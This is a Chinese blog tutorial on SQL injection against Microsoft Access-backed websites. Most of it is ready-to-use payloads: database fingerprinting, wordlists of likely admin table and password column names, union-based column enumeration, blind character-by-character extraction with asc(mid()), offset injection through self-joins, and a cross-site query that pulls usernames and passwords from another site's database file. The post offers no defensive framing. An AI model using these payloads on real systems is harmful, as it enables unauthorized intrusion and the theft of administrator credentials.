zoukankan      html  css  js  c++  java
  • Sql注入之Access

    Sql注入之Access

    Access数据库介绍

    Access数据库是由微软开发的小型数据库,可以存储100M之内的信息。

    Access数据库判断

    and exsits (select * from msysobjects)>0
    

    Access注入利用

    • 方法一
    判断表名

    运用如下命令返回正常即存在

    and exsits (select * from admin)
    

    Access数据库常见管理员表名:

    admin
    admin_user
    admin_msg
    admin_usr
    admin_login
    username
    manager
    manag
    msg
    msg_user
    msg_login
    useradmin
    user_msg
    userlogin
    users
    member
    
    判断列

    运用如下命令返回正常即存在列

    and exsits (select id from admin)
    

    Access数据库常见的管理员列名:

    admin
    admin_user
    username
    users
    usr
    user_login
    user_name
    name
    loginname
    admin_login
    msg_name
    

    管理员密码列名:

    password
    pwd
    pass
    user_pass
    
    判断列数
    order by num
    

    num<=真正列数是时返回正常

    联合注入
    union select 1,2,……num from user
    

    页面会回显1,2,3……num,选择可以看到的进行查询,例如选择1从user表查name

    union select name,2,……num from user
    

    在刚才回显1的地方就可以看到name的值

    • 方法二(工具一般使用该方法实现)

    判断表名和列名用方法一种的,如下方法是用来精确判断内容

    判断返回内容长度
    and (select top 1 len(name) from user)=5
    

    top 1:返回第一个数据

    top 2:返回前两个数据

    当从user表中查询到name列返回的第一个数据长度为5时页面返回正常

    精确判断内容
    and (select top 1 asc(mid(name,1,1)) from user)=97	#97为ascii码
    

    asc():返回ascii码

    mid():https://www.runoob.com/sql/sql-func-mid.html

    如上使用ascii码的方式进行查询

    偏移注入

    适用情况

    猜不到列名的时候

    利用
    • 方法一

    假设有5列

    union select 1,2,3,4,* from admin
    
    union select 1,2,3,* from admin
    

    如上依次前推 *,页面返回正常时,它会从数据库中随机爆出数据

    • 方法二

    公式:

    总列数-方法一种第一次回显正常时剩下的列数(*号前的数)
    

    假设有11列,第一次在10处成功回显,如下

    union select 1,2,3,4,5,6,7,8,9,* from admin
    

    根据公式的11-9=2,则下一次在原有基础上减去4个,再加上一些命令如下

    union select 1,2,3,4,5,6,7,* from (admin as a inner join admin as b on a.id=b.id)
    

    inner join内连接:https://blog.csdn.net/rocling/article/details/90516802

    如果没有注入出想要的结果,然后在进行一次注入:

    union select from 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

    该命令可以一直注入到剩余的列数无法在减2为止

    跨库查询

    介绍

    对一个站点数据库进行注入,从而可以查询出另一个站点的数据库。

    适用场景

    两个站点在同一服务器上,其中一个站点有注入漏洞,知道另一个站点数据库的绝对路径。

    利用

    假设存在注入的数据库的表列数有3列

    另一个站点的数据库的路径为E:wwwdatadata.mdb

    union select 1,name,password from [E:wwwdatadata.mdb].admin	#.后面的admin为表名
    
  • 相关阅读:
    申请奖励加分
    6.14
    6.11
    6.10
    6.9
    6.8
    6.7
    6.6
    6.5
    6.4
  • 原文地址:https://www.cnblogs.com/Wuser/p/12321578.html
Copyright © 2011-2022 走看看